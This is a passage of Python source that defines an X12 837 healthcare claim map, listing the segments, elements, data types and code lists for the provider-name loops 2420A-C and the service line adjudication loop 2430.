data_type=(u'AN',u'1',u'48'), position=15, codes=[] ) ), Element( u'LIN16', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=16, codes=[u'N4'] ) ), Element( u'LIN17', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=17, codes=[] ) ), Element( u'LIN18', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=18, codes=[u'N4'] ) ), Element( u'LIN19', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=19, codes=[] ) ), Element( u'LIN20', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=20, codes=[u'N4'] ) ), Element( u'LIN21', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=21, codes=[] ) ), Element( u'LIN22', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=22, codes=[u'N4'] ) ), Element( u'LIN23', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=23, codes=[] ) ), Element( u'LIN24', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=24, codes=[u'N4'] ) ), Element( u'LIN25', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=25, codes=[] ) ), Element( u'LIN26', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=26, codes=[u'N4'] ) ), Element( u'LIN27', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=27, codes=[] ) ), Element( u'LIN28', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=28, codes=[u'N4'] ) ), Element( u'LIN29', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=29, codes=[] ) ), Element( u'LIN30', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=30, codes=[u'N4'] ) ), Element( u'LIN31', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=31, codes=[] ) ), ), Segment( u'CTP', Properties(syntax=u'P0405 C0607 C0902 C1002 C1103',req_sit=u'S',repeat=u'1',pos=u'495',desc=u'Drug Pricing'), Element( u'CTP01', Properties(desc=u'Class of Trade Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=1, codes=[] ) ), Element( u'CTP02', Properties(desc=u'Price Identifier Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=2, codes=[] ) ), Element( u'CTP03', Properties(desc=u'Unit Price', req_sit=u'R', data_type=(u'R',u'1',u'17'), position=3, codes=[] ) ), Element( u'CTP04', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Composite( u'C001', Properties(req_sit=u'R',refdes='',seq=u'05',desc=u'Composite Unit of Measure'), Element( u'CTP05-01', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=0, codes=[u'F2', u'GR', u'ML', u'UN'] ) ), Element( u'CTP05-02', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=1, codes=[] ) ), Element( u'CTP05-03', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=2, codes=[] ) ), Element( u'CTP05-04', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=3, codes=[] ) ), Element( u'CTP05-05', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Element( u'CTP05-06', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=5, codes=[] ) ), Element( u'CTP05-07', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=6, codes=[] ) ), Element( u'CTP05-08', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=7, codes=[] ) ), Element( u'CTP05-09', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=8, codes=[] ) ), Element( u'CTP05-10', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=9, codes=[] ) ), Element( u'CTP05-11', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=10, codes=[] ) ), Element( u'CTP05-12', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=11, codes=[] ) ), Element( u'CTP05-13', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=12, codes=[] ) ), Element( u'CTP05-14', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=13, codes=[] ) ), Element( u'CTP05-15', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=14, codes=[] ) ), ), Element( u'CTP06', Properties(desc=u'Price Multiplier Qualifier', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), Element( u'CTP07', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=7, codes=[] ) ), Element( u'CTP08', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=8, codes=[] ) ), Element( u'CTP09', Properties(desc=u'Basis of Unit Price Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=9, codes=[] ) ), Element( u'CTP10', Properties(desc=u'Condition Value', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=10, codes=[] ) ), Element( u'CTP11', Properties(desc=u'Multiple Price Quantity', req_sit=u'N', data_type=(u'N0',u'1',u'2'), position=11, codes=[] ) ), ), ) parsed_837_2420A = Loop( u'2420A', Properties(looptype='',repeat=u'1',pos=u'500',req_sit=u'S',desc=u'Attending Physician Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'500',desc=u'Attending Physician Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'71'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'505',desc=u'Attending Physician Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'AT'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'525',desc=u'Attending Physician Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2420B = Loop( u'2420B', Properties(looptype='',repeat=u'1',pos=u'500',req_sit=u'S',desc=u'Operating Physician Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'500',desc=u'Operating Physician Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'72'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'505',desc=u'Operating Physician Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'OP'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'525',desc=u'Operating Physician Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2420C = Loop( u'2420C', Properties(looptype='',repeat=u'1',pos=u'500',req_sit=u'S',desc=u'Other Provider Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'500',desc=u'Other Provider Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'73'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'505',desc=u'Other Provider Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'OT', u'PE'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'525',desc=u'Other Provider Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2430 = Loop( u'2430', Properties(looptype='',repeat=u'25',pos=u'540',req_sit=u'S',desc=u'Service Line Adjudication Information'), Segment( u'SVD', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'540',desc=u'Service Line Adjudication Information'), Element( u'SVD01', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=1, codes=[] ) ), Element( u'SVD02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Composite( u'C003', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Composite Medical Procedure Identifier'), Element( u'SVD03-01', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=0, codes=[u'HC', u'IV', u'ZZ'] ) ), Element( u'SVD03-02', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=1, codes=[] ) ), Element( u'SVD03-03', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=2, codes=[] ) ), Element( u'SVD03-04', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=3, codes=[] ) ), Element( u'SVD03-05', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=4, codes=[] ) ), Element( u'SVD03-06', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=5, codes=[] ) ), Element( u'SVD03-07', Properties(desc=u'Description', req_sit=u'S', data_type=(u'AN',u'1',u'80'), position=6, codes=[] ) ), ), Element( u'SVD04', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=4, codes=[] ) ), Element( u'SVD05', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'SVD06', Properties(desc=u'Assigned Number', req_sit=u'S', data_type=(u'N0',u'1',u'6'), position=6, codes=[] ) ), ), Segment( u'CAS', Properties(syntax='',req_sit=u'S',repeat=u'99',pos=u'545',desc=u'Service Line Adjustment'), Element( u'CAS01', Properties(desc=u'Claim Adjustment Group Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=1, codes=[u'CO', u'CR', u'OA', u'PI', u'PR'] ) ), Element( u'CAS02', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'R', data_type=(u'ID',u'1',u'5'), position=2, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS03', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'CAS04', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Element( u'CAS05', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=5, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS06', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=6, codes=[] ) ), Element( u'CAS07', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=7, codes=[] ) ), Element( u'CAS08', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=8, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS09', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=9, codes=[] ) ), Element( u'CAS10', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=10, codes=[] ) ), Element( u'CAS11', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=11, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS12', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=12, codes=[] ) ), Element( u'CAS13', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=13, codes=[] ) ), Element( u'CAS14', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=14, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS15', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=15, codes=[] ) ), Element( u'CAS16', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=16, codes=[] ) ), Element( u'CAS17', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=17, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', 